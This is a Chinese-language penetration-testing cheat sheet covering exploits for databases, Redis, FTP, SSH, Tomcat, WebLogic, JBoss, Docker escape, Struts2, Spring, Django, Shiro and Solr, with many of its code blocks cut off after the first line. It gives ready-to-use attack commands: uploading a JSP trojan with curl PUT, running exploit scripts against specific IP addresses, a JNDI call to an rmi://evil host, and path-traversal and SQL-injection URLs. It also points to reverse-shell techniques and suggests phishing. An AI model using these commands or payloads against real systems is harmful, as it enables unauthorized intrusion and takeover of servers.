# 数据库安全
注意各种漏洞的产生都与其版本和其相关配置是否安全有关
# mysql 未授权访问
1 | CVE-2012-2122 利用 |
# hadoop 未授权 RCE
1 | import requests |
# redis 写定时 写公钥
- redis 写 Webshell
1 | 利用条件:Web目录权限可读写,需得到Web路径: |
- 写定时任务反弹 shell:
1 | 利用条件:允许异地登录,安全模式protected-mode处于关闭状态 |
- 写入 Linux ssh-key 公钥
1 | 利用条件:允许异地登录,Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态,允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。 |
- RCE 自动化利用脚本
1 | https://github.com/vulhub/redis-rogue-getshell |
- 沙箱绕过 RCE CVE-2022-0543 :
1 | https://github.com/aodsec/CVE-2022-0543 |
# influxdb jwt 伪造身份
influxdb 是一款著名的时序数据库,其使用 jwt 作为鉴权方式。在用户开启 了认证,但未设置参数 shared-secret 的情况下,jwt 的认证密钥为空字符串,此 时攻击者可以伪造任意用户身份在 influxdb 中执行 SQL 语句。
漏洞复现地址: https://vulhub.org/#/environments/influxdb/unacc/
环境启动后,访问 http://your-ip:8086/debug/vars 即可查看一些服务信息,但此时执行 SQL 语句则会出现 401 错误:其中,admin 是一个已经存在的用户, exp 是一个时间戳,代表着这个 token 的过期时间,设置为一个未来的时间戳。借助 https://jwt.io/ 来生成 jwt token:
1 | { |
# h2 database jndi 注入
H2 database 是一款 Java 内存数据库,多用于单元测试。H2 database 自带一个 Web 管理页面,在 Spirng 开发中,如果我们设置如下选项,即可允许外部用户访问 Web 管理页面,且没有鉴权。
1 | spring.h2.console.enabled=true |
漏洞链接: https://github.com/vulhub/vulhub/blob/master/h2database/h2-console-unacc/README.zh-cn.md
启动后,访问 http://your-ip:8080/h2-console / 即可查看到 H2 database 的管理 页面。可以借助这个小工具 https://github.com/JosephTribbianni/JNDI 简化我们的复现过程。
首先设置 JNDI 工具中执行的命令为 touch /tmp/success, 然后启动 JNDI-1.0-all.jar,在 h2 console 页面填入 JNDI 类名和 URL 地址:其中,javax.naming. InitialContext 是 JNDI 的工厂类,URL rmi://evil:23456/BypassByEL 是运行 JNDI 工具监听的 RMI 地址。点击连接后,恶意 RMI 成功接收到请求:touch /tmp/success 已成功执行。
# Couchdb 纵向权限
Apache CouchDB,使用语言用于一个性并成为 “一个完全方便 web 的数据 库”。它是一个使用 JSON 作为存储格式,JavaScript 查询,MapReduce 和 HTTPBBC 作为 API 的 NoSQL 数据库。它应用很广泛,如用在其动态展示平台, Credit Suisse 用在其商品的市场框架,Meebo,用在其内部社交内容平台 (网络 和应用程序)。
在 2017 年 11 月 15 日,CVE-2017-12635 和 CVE-2017-12636,CVE-2017-12635 可能是由于 Erlang 和 JavaScript 对 JSON 解析方式的不同,导致 语句执行产生差异性导致的。让任意权限管理员,属于不同权限的用户创建权限。影响版本: < 1.7.0 以及 < 2.1.1
漏洞链接: https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12635/README.zh-cn.md
1 | 发送包含两个约束的数据包: |
Couchdb 任意命令执行漏洞的复现地址(直接用脚本完成就可以):https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/README.zh-cn.md
# es 写 webshell
ElasticSearch 具有备份数据的功能,用户可以传入一个路径,让其将数据备 份到该路径下,且文件名和后缀都可控。所以,如果同文件系统下还跑着其他
服务,如 Tomcat、PHP 等,可以利用 ElasticSearch 的备份功能写入一个 webshell。
漏洞链接: https://vulhub.org/#/environments/elasticsearch/WooYun-2015-110216/
1 | 首先创建一个恶意索引文档: |
其他 elasticSearch 漏洞:https://vulhub.org/#/environments/elasticsearch
# 应用协议
# ftp 匿名登录
- FTP 的匿名登录一般有三种
用户名:anonymous 密码:Email 或者为空
用户名:FTP 密码:FTP 或者为空
用户名:USER 密码:pass
++ 此外 ftp 还可以用 hydra 进行爆破,知道账户 / 密码时候爆破效率更好
- Proftpd 协议漏洞
漏洞链接:https://github.com/t0kx/exploit-CVE-2015-3306
1 | python exploit.py --host 123.58.236.76 --port 24967 --path "/var/www/html/" |
# rsync 未授权 RCE
rsync 是 Linux 下一款数据备份工具,支持通过 rsync 协议、ssh 协议进行远程文件传输。其中 rsync 协议默认监听 873 端口,如果目标开启了 rsync 服务,并且没有配置 ACL 或访问密码,我们将可以读写目标服务器文件。
1 | 判断 |
msf 和 fofaviewer 批量测试
1 | fofa_viewer: https://github.com/wgpsec/fofa_viewer |
# ssh 枚举 libssh 认证绕过
(1)SSH 协议漏洞:
CVE-2014-0160 版本很少,都被修复了;CVE_2020_15778 价值不高。
OpenSSH 8.3p1 及之前版本中的 scp 的 scp.c 文件存在操作系统命令注入漏洞。该漏洞即使在禁用 ssh 登录的情况下,但是允许使用 scp 传文件,而且远程服务器允许使用反引号 (`),可利用 scp 复制文件到远程服务器时,执行带有 payload 的 scp 命令,从而在后续利用中 getshell。需要漏洞版本 <= openssh-8.3p1,作用是通过 scp 来连接已知用户名密码的系统。
CVE-2018-15473 - 用户名枚举
1 | https://github.com/Rhynorater/CVE-2018-15473-Exploit |
(2)libssh 服务端权限认证绕过漏洞 (CVE-2018-10933)
libssh 是一个提供 ssh 相关接口的开源库,包含服务端、客户端等。其服务 端代码中存在一处逻辑错误,攻击者可以在认证成功前发送 MSG_USERAUTH _SUCCESS 消息,绕过认证过程,未授权访问目标 SSH 服务器。
环境启动后,我们可以连接 your-ip:2222 端口 (账号密码: myuser:mypassword),这是一个合法的 ssh 流程。参考 https://www.seebug.org/
vuldb/ssvid-97614 中给出的 POC,使用 python3 执行,即可在目标服务器上 RCE。
漏洞链接:https://github.com/vulhub/vulhub/blob/master/libssh/CVE-2018-10933/README.zh-cn.md
# 向日葵 RCE、vnc 口令
(1)向日葵 RCE:
1 | https://github.com/Mr-xn/sunlogin_rce |
(2)VNC 口令问题:
可能未设置密码导致的未授权访问,也可以通过 msf 猜解密码爆破 vnc
# teamviewer xss 攻击
通过网页调用除了命令执行,可以执行任意命令,配合 XSS 或者钓鱼使用,当发现对方是特定版本的 teamviewer 时,诱使对方访问构造好的 url 链接。
1 |
|
# zabbix 未授权 rce
Zabbix 是由 Alexei Vladishev 开发的一种网络监视、管理系统,基于 Server-Client 架构。是一款服务器监控软件,其由 server、agent、web 等模块组 成,其中 web 模块由 PHP 编写,用来显示数据库中的结果。默认端口:10051。
漏洞复现 fofa 关键字:app=“ZABBIX - 监控系统” && body=“saml”
1 | 攻击脚本:https://github.com/L0ading-x/cve-2022-23131 |
# Kibana 任意代码执行
Kibana 为 Elassticsearch 设计的一款开源的视图工具。其 5.6.15 和 6.6.1 之前 的版本中存在一处原型链污染漏洞,利用漏洞可以在目标服务器上执行任意代码。默认端口:5601
攻击脚本:https://github.com/LandGrey/CVE-2019-7609
复现链接:https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2019-7609/README.zh-cn.md
1 | 原型链污染发生在“Timeline”页面,我们填入如下 Payload: |
# 中间件安全
# nginx 文件解析
配置文件错误导致解析漏洞,对于任意文件名,在后面添加 /xxx.php (xxx 为任意字符) 后,即可将文件作为 php 解析。如 info.jpg 后面加上 /xxx.php,会将 info.jpg 以 php 解析。
复现链接:https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/
CVE-2013-4547:https://vulhub.org/#/environments/nginx/CVE-2013-4547/
CVE-2013-4547 文件名逻辑漏洞,影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7。抓包,修改为 info.jpg…php, 在 Hex 选修卡中将 jpg 后面的两个点 2e 改成
20,00。寻找上传点,并且确定版本合适可测试该漏洞。
CVE_2021_23017 无 EXP,没有可以直接拿权限的代码
CVE_2017_7529 信息泄漏意义不大
# apache 文件解析 rce
(1)CVE-2021-41773
Apache HTTP Server 目录遍历漏洞 CVE-2021-41773,影响版本:Apache HTTP Server 2.4.49,该漏洞是由于 Apache HTTP Server 2.4.49 版本存在目录穿 越漏洞,攻击者利用该漏洞在未授权的情况下,访问服务器未在 httpd 配置文件中标记为拒绝请求的文件内容,进而导致敏感信息泄露。
漏洞链接:https://www.freebuf.com/articles/web/293172.html
1 | 访问并下载 |
(2)CVE-2021-42013
Apache HTTP Server 目录遍历漏洞 CVE-2021-42013 影响版本:Apache HTTP
Server 2.4.50 & Apache HTTP Server 2.4.49,该漏洞是由于在 Apache HTTP Server 2.4.50 版本中对 CVE-2021-41773 修复不够完善,攻击者可利用该漏洞绕过修复 补丁,并利用目录穿越攻击访问服务器中一些文件,进而造成敏感信息泄露。 若 httpd 中开启 CGI 功能,攻击者可以构造恶意请求,造成远程代码执行。
参考地址:# https://blog.csdn.net/weixin_47306547/article/details/122291562
1 | 工具地址:https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013 |
(3)CVE-2017-15715
apache CVE-2017-15715 文件解析:Apache HTTPD 是一款 HTTP 服务器。 其 2.4.0~2.4.29 版本存在一个解析漏洞,在解析 PHP 时,1.php\x0A 将被按照
PHP 后缀进行解析,导致绕过一些服务器的安全策略。
漏洞链接: https://vulhub.org/#/environments/httpd/CVE-2017-15715/
在 1.php 后面插入一个 \x0A (注意,不能是 \x0D\x0A,只能是一个 \x0A),不再拦截访问刚才上传的 / 1.php%0a,发现能够成功解析,但这个文件不是 php 后缀,说明目标存
在解析漏洞
(4)其他 cve
此外还有 cve_2017_9798 价值不高、cve_2018_11759 价值不高等与权限无关的漏洞、cve_2021_37580 插件问题。有的 apache 和其他组件配合使用,是存在一些漏洞的,甚至可以命令执行,但是需要看当前配合的组件时哪些。
# tomcat 弱口令 上传 包含
(1)弱口令猜解
配置不当导致后台弱口令,可通过上传 jsp 压缩包改名的 war 拿 shell;tomcat 的 manager 页面存在弱口令,可用 msf 尝试爆破
1 | use auxiliary/scanner/http/tomcat_mgr_login |
(2)PUT 方法任意写文件漏洞
Tomcat 版本 8.5.19 存在 PUT 方法任意写文件漏洞(CVE-2017-12615 )。准备好木马文件 ice.jsp,利用 curl 命令用 PUT 方法往 1 .jsp/ 发送恶意木马文件,可得到 webshell。
漏洞链接: https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2017 -12615/README.zh-cn.md
curl -v http://110.42.178.227:8080/1.jsp/ -X PUT -d @ice.jsp
或者通过 burp 改数据包,修改方法为 PUT,访问地址为 1.jsp/,并上传木马
(3)文件包含漏洞
Aapache Tomcat AJP 文件包含漏洞 (CVE-2020-1938) 由于 Tomcat AJP 协 议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。 此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远 程代码执行的危害。
1 | 下载利用代码 (Tomcat 9.0.30) |
# weblogic 加载 ldap
探针默认端口:7001,Weblogic 是 Oracle 公司推出的 J2EE 应用服务器。 cve_2017_3506 工具、cve_2018_2893 工具、cve_2018_3245 工具、cve_2020_1
4882 工具、cve_2021_2394 反序列化。
安全圈小王子工具 (GUI_Tools V1.1) 一把梭
- CVE-2021-2394
攻击者可以在未授权的情况下通过 IIOP、T3 协议对存在漏洞的 WebLogic Server 组件进行攻击,成功利用该漏洞的攻击者可以接管 WebLogic Server。 这是一个二次反序列化漏洞,是 CVE-2020-14756 和 CVE-2020-14825 的调用链相 结合组成一条新的调用链来绕过 weblogic 黑名单列表。
漏洞链接:https://blog.csdn.net/m0_51330619/article/details/120254124
1 | 在一台公网服务器上依次执行以下命令,生成ldap并监听端口 |
# jboss 弱口令 反序列化
- CVE-2017-12149
Jboss 通常占用的端口是 1098,1099,4444,4445,8080,8009,8083, 8093,Red Hat JBoss Application Server 是一款基于 JavaEE 的开源应用服务器。
在一些 jboss 管理平台上,存在弱口令,可以尝试猜解密码或未授权。
漏洞链接: https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
1 | 我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码。 |
- CVE-2017-7504
漏洞复现过程与上差不多,唯一区别在于数据发送地址
curl http://47.94.236.117:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser
# Jenkins 相关漏洞
探针默认端口: 8080 ,Jenkins 是一个开源软件项目,是基于 Java 开发的一种持续集成工具,用于监控持续重复的工作。
(1)cve_2017_1000353
1 | 利用条件未知,即便是JDK-1.8.0_291 版本也失效了 |
(2)CVE-2018-1000861
漏洞链接:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
1 | cat > /tmp/1.txt << EOF |
(3)CVE_2019_100300
漏洞链接: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
需要用户帐号密码,可以进行用户名枚举与爆破的方法测试
# glassfish 弱口令 信息泄露
探针默认端口:4848,GlassFish 是一款强健的商业兼容应用服务器
CVE-2017-1000028: 可以获取到后台密码以及主机上的文件内容
1 | 读密码 |
# docker 逃逸
Docker 容器是使用沙盒机制,是单独的系统,理论上是很安全的,通过利 用某种手段,再结合执行 POC 或 EXP,就可以返回一个宿主机的高权限 Shell, 并拿到宿主机的 root 权限。它从容器中逃了出来,因此我们形象的称为 Docker 逃逸漏洞。
判断当前是在 docker 还是在宿主机上:
1 | 如果是在docker内部会有信息返回,否则提示没有此文件夹及文件 |
docker daemon api 未授权访问漏洞:
漏洞链接:https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.zh-cn.md
利用方法是,我们随意启动一个容器, 并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入 crontab 配置文件,进行反弹 shell。2375 端口开放,并且未授权。
1 | import docker |
# websphere 反序列化
WebSphere® Application Server 加速交付新应用程序和服务,它可以通过快 速交付创新的应用程序来帮助企业提供丰富的用户体验从基于开放标准的丰富 的编程模型中进行选择,更好地协调项目需求与编程模型功能和开发人员技能。
端口:9080—web (http) 应用访问端口、9443—web (https) 应用访问端口、 9060— 管理后台访问端口、9043— 管理控制台安全端口、8880—SOAP 连接器 端口等等。漏洞探测在 8880 端口,后台是 9060 端口,解析是 9080 端口。
- CVE-2015-7450
后台弱口令上传 webshell,在 6.x 至 7.0 版本,后台登陆只需要输入 admin 作为用户标 识,无需密码,即可登陆后台。其他版本可以尝试 websphere 的默认密码。后台存在文 件上传点,同 tomcat 一样,可用哥斯拉导出 jsp 后门压缩为 zip 后改为 war,再后台上传 并运行。设定目录之后直接解析为 jsp 文件,连接到 webshell。
1 | docker pull iscrosales/websphere7 |
- CVE-2020-4450 无利用 POC/EXP
# jetty 文件读取
Elipse Jetty 是一个开源的 servlet 容器,它为基于 Java 的 Web 容器提供运行 环境。此中间件存在文件读取漏洞,但是读取的信息用处不大。
CVE-2021-28164 http://123.58.236.76:63126/./WEB-INF/web.xml
CVE-2021-28169 http://123.58.236.76:63126/static?/WEB-INF/web.xml
CVE-2021-34429 http://123.58.236.76:63126/%u002e/WEB-INF/web.xml
# 框架安全
根据插件及数据包中识别框架,但是不一定准确,多识别几次确定。
# Thinkphp Laravel
当确定是 php 框架,直接用集成化工具一把梭。就是一个收集信息,确定 此版本下的漏洞,寻找工具直接利用的一个过程。可以用 GUI_tools 测试。
Laravel <= 8.4.2 存在 CVE-2021-3129 RCE
Thinkphp-3.X RCE-5.X RCE 存在 RCE 框架的漏洞是固定的,没有就是没有,自己去挖也不太现实,只能把注意力放在其他的财产目标上;其他的也没漏洞那就只能去社工、钓鱼从管理方面 下手了。
# Spring Struts2
在 java 代码漏洞利用中,需要注意要使用 base64 编码来反弹 shell。原因是 由于 Runtime.getRuntime ().exec () 中不能使用管道符等 bash 需要的方法,故需要 用进行一次编码。
(1)St2 漏洞
2020 前漏洞,当识别到一个 url 地址后缀是 action 结尾,就可以尝试用 St2 的集成化工具测试直接 getshell; 后面的版本修复了此漏洞,但有 s2-062 存在 cve_2020_17530、cve_2021_31805,可以直接利用脚本 https://github.com/YanMu 2020/s2-062 实现 RCE。关于原理与手工复现还是有一定难度的,应该是尽快确 定此框架存在漏洞直接利用。
(2)Spring 漏洞
参考链接:https://vulhub.org/#/environments/spring/。
cve_2017_4971-Spring Web Flow-https://paper.seebug.org/322 / 大致是通过 Spring 在 17 年的默认页面进行操作从而 RCE
cve_2018_1273-Spring DataCommons - https://vulhub.org/#/environments/spring/CVE-2018-1273/
1 | 攻击者可以注入恶意 SpEL表达式以执行任意命令,在用户注册界面抓包修改数据,注意不好判断是否RCE,需要dnslog测试/代码全部编码/反弹shell命令编码都进行测试。 |
# Node.js Jquery
(1)Node.js 目录穿越漏洞(CVE-2017-14849 )
1 | 复现地址: |
(2)node.js CVE_2021_21315
Node.js-systeminformation 是用于获取各种系统信息的 Node.js 模块,在存在命令注入漏洞的版本中,可以通过未过滤的参数中注入 payload 执行系统命令。
Systeminformation < 5.3.1
复现地址:https://www.freebuf.com/vuls/284350.html
git clone https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC.git && node index.js /api/getServices?name[]=$(echo -e 'xiaodi' > test.txt)
(3)jQuery cve_2018_9207 cve_2018_9208 cve_2018_9209
jQuery 是一个快速、简洁的 JavaScript 框架,如果与 php 配合使用且采用 jq 来传文件,当 jQuery Upload File <= 4.0.2 满足时存在任意文件上传,向 jq 中 post php 可 RCE:
curl -F "myfile=@php.php" "http://123.58.236.76:56579/jquery-upload-file/php/upload.php"
# Django Flask
Django 是一款广为流行的开源 web 框架,由 Python 编写,许多网站和 app 都基于 Django 开发。Django 采用了 MTV 的框架模式,即模型 M,视图 V 和模 版 T,使用 Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱 动的应用程序。而且 Django 还包含许多功能强大的第三方插件,使得 Django 具 有较强的可扩展性。
前期的信息收集是很重要的,收集到的信息越多,暴露的资产面就越多, 搜集到的框架是 diango 的话就可以着手搜它历年爆出来的 RCE 尝试利用。
(1)django cve_2019_14234
注意触发此漏洞的前提条件是需要拿到后台权限,如果不能凭借弱口令或者爆破进入后台,那就不能利用这个漏洞了。
1 | 单引号已注入成功,SQL语句报错 |
(2)django CVE-2021-35042
漏洞复现:https://www.freebuf.com/vuls/283262.html
Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by () 中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。
1 | 找到可以进行数据注入的地方,进行构造,直接注入获取敏感信息。 |
(3)Django SQL 注入漏洞 CVE-2022-28346
攻击者使用精心编制的字典, 通过 kwargs 传递给 QuerySet.annotate ()、aggregate () 和 extra () 这些方法,可导致这些方法在列别名中受到 SQL 注入攻击。
漏洞复现:https://blog.csdn.net/weixin_57567655/article/details/125623784
通过报错页面可以发现存在哪些接口,访问接口如果存在传参,同样会提示报错信息
使用报错提示的参数进行 sql 注入:
http://x.x.x.x:8000/demo?field=demo.name"FROM "demo_user" union SELECT "1",sqlite_version(),"3" --
(4)flask SSTI 模板注入
复现地址:https://vulhub.org/#/environments/flask/ssti/
访问 http://your-ip/?name=54289,得到 54289 ,说明 SSTI 漏洞存在。
可尝试执行命令,反弹 shell 等操作。一般参数为默认的 404_url 和 name,如果无法确定参数的话需要用字典进行测试。
# Shiro Sorl
(1)Apache Shiro 漏洞
Apache Shiro 是一个强大且易用的 Java 安全框架,用于身份验证、授权、密码和会话管理。
判断:大多会发生在登录处,返回包里包含 remeberMe=deleteMe 字段
1 | apache shiro的历史漏洞如下,作简单了解: |
-
CVE_2016_4437 Shiro-550+Shiro-721
用工具直接爆破出密钥,在继续执行命令,但是已经很老,很难碰到 -
CVE-2020-11989
Poc:/admin/%20 影响范围:Apache Shiro < 1.7.1
https://github.com/jweny/shiro-cve-2020-17523
当看到当前 java 引入了 shiro 依赖,切其版本在指定范围内就可以进行测试 -
CVE-2020-1957
Poc:/xxx/…;/admin/ 影响范围:Apache Shiro < 1.5.3
验证绕过,访问构造的地址构造恶意 url 地址之后可以跳过登录认证,如何获取这个 url 地址可以拿到源码构造可以在线搜索或者抓包进行寻找。实际出现了 shiro 这个版本再去想找相应的利用方法。
(2)Apache Solr 漏洞
Apache Solr 是一个开源的搜索服务,使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现的。Solr 是一个高性能,采用 Java5 开发,基于 Lucene 的全文搜索服务器。
漏洞判断:https://avd.aliyun.com/search?q=solr
1 | apache solr的历史漏洞如下,作简单了解: |
- CVE-2017-12629 远程命令执行 RCE
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过 Http 利用 XML 加到一 个搜索集合中。查询该集合也是通过 http 收到一个 XML/JSON 响应来实现。此 次 7.1.0 之前版本总共爆出两个漏洞:XML 实体扩展漏洞 (XXE) 和远程命令执行漏洞 (RCE),二者可以连接成利用链,编号均为 CVE-2017-12629。
漏洞复现:https://vulhub.org/#/environments/solr/CVE-2017-12629-RCE/
Apache solr<7.1.0 版本,直接通过 burp 抓包修改数据即可
- CVE-2019-17558 Apache Solr Velocity 注入远程命令执行漏洞
Apache Solr 是一个开源的搜索服务器。在其 5.0.0 到 8.3.1 版本中,用户可以注入自定义模板,通过 Velocity 模板语言执行任意命令。
漏洞复现:https://github.com/jas502n/solr_rce
漏洞说明:https://github.com/vulhub/vulhub/blob/master/solr/CVE-2019-17558/README.zh-cn.md
D:\Python27\python.exe solr_rce.py http://123.58.236.76:50847 id
在实战中,当发现有 Solr 资产时,可直接通过脚本测试,没有就是没有
- CVE-2019-0193 Apache Solr 远程命令执行漏洞
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基
于 HTTP 和 Apache Lucene 实现。此次漏洞出现在 Apache Solr 的 DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源 中提取数据。它具有一个功能,其中所有的 DIH 配置都可以通过外部请求的 dataConfig 参数来设置。由于 DIH 配置可以包含脚本,因此攻击者可以通过构 造危险的请求,从而造成远程命令执行。
漏洞复现:https://vulhub.org/#/environments/solr/CVE-2019-0193/
有两个前提条件,一个是有未授权或者弱密码可以进入后台,二是后台里边已经创建过一个模板,如果满足,可以修改再后台用 debug 模式调整 dataConfig 的代码,加入反弹 shell 的命令即可利用
- CVE-2021-27905 Apache Solr RemoteStreaming 文件读取与 SSRF 漏洞
Apache Solr 是一个开源的搜索服务器。在 Apache Solr 未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成 SSRF 或任意文件读取。
漏洞复现: https://vulhub.org/#/environments/solr/Remote-Streaming-Fileread/
1 | 最后获取信息的 payload 如下 |